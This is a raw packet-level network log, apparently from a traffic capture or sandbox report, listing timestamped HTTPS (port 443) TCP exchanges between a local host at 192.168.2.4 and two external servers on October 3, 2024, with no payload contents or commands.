Oct 3, 2024 10:42:02.774327040 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.774442911 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.774458885 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.774857998 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.775660038 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.775727034 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.777767897 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.778522968 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.780059099 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.780265093 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.780294895 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.780384064 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.783603907 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.783674955 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.784164906 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.784351110 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.784491062 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.784595966 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.784637928 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.784646034 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.784878016 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.784884930 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.824166059 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.827442884 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.831403017 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.837548971 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.837596893 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.839109898 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.839124918 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.840363026 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.846291065 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.846317053 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.850178003 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.850183964 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.973021030 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.973064899 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.973196030 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.973419905 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.973433018 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.975029945 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.975069046 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.975163937 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.975382090 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.975399971 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.020195007 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020262957 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020335913 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020374060 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020395994 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.020417929 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020445108 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.020457983 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020488977 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.020525932 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.020626068 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.022080898 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.022095919 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049216986 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049242973 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049262047 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049336910 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049364090 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049376965 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049396038 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049402952 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049417019 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049454927 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049474001 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049488068 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049489021 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049489021 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049494028 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049524069 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.049549103 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049562931 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049563885 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.049575090 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.050075054 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.050148010 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.050152063 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.050195932 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.053327084 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.053343058 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057281017 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057351112 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057372093 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057410002 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057410955 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.057427883 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057440996 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.057446957 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057460070 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.057473898 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.057476997 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.057497025 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.057516098 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.101695061 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.101716042 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.101793051 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.102504969 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.102509022 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.125027895 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.125055075 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.125211954 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.125211954 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.125231028 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.125355005 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.134222031 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.134248972 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.135008097 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.135016918 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.135409117 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.150021076 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.150094032 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.150137901 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.150156021 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.150185108 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.150203943 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.155508995 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.155559063 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.155659914 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.155985117 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.155997992 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.157979965 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.157998085 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.158067942 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.158246994 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.158257961 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.160772085 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.160804987 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.160862923 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.160872936 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.160917044 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.163532019 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.163549900 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.163614035 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.163831949 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.163842916 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.210470915 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.210491896 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.210593939 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.210634947 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.210675955 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.210696936 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.213088036 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.213105917 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.213535070 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.213543892 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.214082956 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.215688944 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.215728998 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.215786934 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.215955973 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.215955973 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.218590021 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.218606949 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.237903118 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.237967014 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.238010883 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.238028049 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.238085985 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.242981911 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.243026018 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.243062973 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.243068933 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.243092060 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.243115902 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.248739958 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.248783112 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.248826027 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.248833895 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.248857021 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.248872995 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.253839016 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.253880978 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.253907919 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.253916025 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.253957033 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.254038095 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.254086018 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.254215956 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.254230976 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.750555992 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.750977993 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.769602060 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.769622087 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.769735098 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.769757032 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.770102978 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.770169020 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.770433903 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.770512104 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.770688057 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.770766973 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.770858049 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.770909071 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:03.815396070 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.815404892 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:03.879218102 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.879508972 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.879528999 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.879880905 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.880173922 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.880222082 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.880556107 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.923526049 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.981965065 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.982307911 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.982323885 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.983486891 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.983552933 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.983983994 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.984056950 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.984175920 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.984184027 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.985373974 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.985568047 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.985589027 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.988816023 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.988878965 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.989201069 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.989284039 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.989334106 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.992384911 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.992613077 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.992623091 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.993839979 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.994168997 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:03.994340897 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:03.994354963 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.026391029 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.027558088 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.027584076 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.027632952 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.027650118 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.027663946 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.027704954 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.029773951 CEST	50218	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.029789925 CEST	443	50218	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.031219006 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.031245947 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.031300068 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.031310081 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.031347036 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.031868935 CEST	50219	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.031888008 CEST	443	50219	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.035394907 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.039407015 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.040054083 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.040132999 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.040327072 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.040582895 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.040611982 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.041177034 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.041209936 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.041299105 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.041388988 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.041398048 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.041425943 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.042107105 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.042119980 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.042758942 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.042771101 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.042882919 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043427944 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043451071 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.043678045 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043793917 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043865919 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.043931007 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043970108 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.043982029 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.044126987 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.044154882 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.044249058 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.044286966 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.048994064 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.049006939 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.049052000 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.049247980 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.049256086 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.089391947 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.189234972 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.189305067 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.189351082 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.189393997 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.189424992 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.189445019 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.189476013 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.274729013 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.274768114 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.274806976 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.274832964 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.274854898 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.274888992 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.281702042 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.281748056 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.281785965 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.281793118 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.281835079 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.281853914 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.288537025 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288568974 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288597107 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288614988 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288633108 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288655996 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.288661003 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.288717985 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.295501947 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295538902 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295550108 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295567989 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295578003 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295598030 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.295600891 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295631886 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.295659065 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.295677900 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.295682907 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297646999 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297682047 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297720909 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297740936 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297740936 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.297770023 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297781944 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.297790051 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.297820091 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.342652082 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.359045029 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.359072924 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.359131098 CEST	50220	443	192.168.2.4	18.245.86.14
